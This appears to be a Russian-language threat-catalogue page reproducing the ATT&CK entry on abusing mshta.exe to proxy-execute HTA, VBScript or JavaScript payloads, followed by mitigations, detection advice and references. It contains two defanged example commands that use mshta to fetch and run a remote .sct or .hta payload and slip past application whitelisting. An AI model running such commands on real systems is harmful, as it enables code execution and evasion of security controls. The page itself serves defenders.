Утилита mshta
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications)
Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017)
Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))
They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta
Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Контрмеры |
|
| Контрмера | Описание |
|---|---|
| Execution Prevention |
Prevent the execution of unauthorized or malicious code on systems by implementing application control, script blocking, and other execution prevention mechanisms. This ensures that only trusted and authorized code is executed, reducing the risk of malware and unauthorized actions. This mitigation can be implemented through the following measures: Application Control: - Use Case: Use tools like AppLocker or Windows Defender Application Control (WDAC) to create whitelists of authorized applications and block unauthorized ones. On Linux, use tools like SELinux or AppArmor to define mandatory access control policies for application execution. - Implementation: Allow only digitally signed or pre-approved applications to execute on servers and endpoints. (e.g., `New-AppLockerPolicy -PolicyType Enforced -FilePath "C:\Policies\AppLocker.xml"`) Script Blocking: - Use Case: Use script control mechanisms to block unauthorized execution of scripts, such as PowerShell or JavaScript. Web Browsers: Use browser extensions or settings to block JavaScript execution from untrusted sources. - Implementation: Configure PowerShell to enforce Constrained Language Mode for non-administrator users. (e.g., `Set-ExecutionPolicy AllSigned`) Executable Blocking: - Use Case: Prevent execution of binaries from suspicious locations, such as `%TEMP%` or `%APPDATA%` directories. - Implementation: Block execution of `.exe`, `.bat`, or `.ps1` files from user-writable directories. Dynamic Analysis Prevention: - Use Case: Use behavior-based execution prevention tools to identify and block malicious activity in real time. - Implemenation: Employ EDR solutions that analyze runtime behavior and block suspicious code execution. |
| Mshta Mitigation |
Mshta.exe may not be necessary within a given environment since its functionality is tied to older versions of Internet Explorer that have reached end of life. Use application whitelisting configured to block execution of mshta.exe if it is not required for a given system or network to prevent potential misuse by adversaries. |
| Disable or Remove Feature or Program |
Disable or remove unnecessary and potentially vulnerable software, features, or services to reduce the attack surface and prevent abuse by adversaries. This involves identifying software or features that are no longer needed or that could be exploited and ensuring they are either removed or properly disabled. This mitigation can be implemented through the following measures: Remove Legacy Software: - Use Case: Disable or remove older versions of software that no longer receive updates or security patches (e.g., legacy Java, Adobe Flash). - Implementation: A company removes Flash Player from all employee systems after it has reached its end-of-life date. Disable Unused Features: - Use Case: Turn off unnecessary operating system features like SMBv1, Telnet, or RDP if they are not required. - Implementation: Disable SMBv1 in a Windows environment to mitigate vulnerabilities like EternalBlue. Control Applications Installed by Users: - Use Case: Prevent users from installing unauthorized software via group policies or other management tools. - Implementation: Block user installations of unauthorized file-sharing applications (e.g., BitTorrent clients) in an enterprise environment. Remove Unnecessary Services: - Use Case: Identify and disable unnecessary default services running on endpoints, servers, or network devices. - Implementation: Disable unused administrative shares (e.g., C$, ADMIN$) on workstations. Restrict Add-ons and Plugins: - Use Case: Remove or disable browser plugins and add-ons that are not needed for business purposes. - Implementation: Disable Java and ActiveX plugins in web browsers to prevent drive-by attacks. |
Обнаружение
Use process monitoring to monitor the execution and arguments of mshta.exe. Look for mshta.exe executing raw or obfuscated script within the command-line. Compare recent invocations of mshta.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after the mshta.exe invocation may also be useful in determining the origin and purpose of the binary being executed. Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious.
Ссылки
- LOLBAS. (n.d.). Mshta.exe. Retrieved July 31, 2019.
- Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.
- Dove, A. (2016, March 23). Fileless Malware – A Behavioural Analysis Of Kovter Persistence. Retrieved December 5, 2017.
- Berry, A., Galang, L., Jiang, G., Leathery, J., Mohandas, R. (2017, April 11). CVE-2017-0199: In the Wild Attacks Leveraging HTA Handler. Retrieved October 27, 2017.
- McCammon, K. (2015, August 14). Microsoft HTML Application (HTA) Abuse, Part Deux. Retrieved October 27, 2017.
- Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.
- Microsoft. (n.d.). HTML Applications. Retrieved October 27, 2017.
- Wikipedia. (2017, October 14). HTML Application. Retrieved October 27, 2017.
Связанные риски
Каталоги
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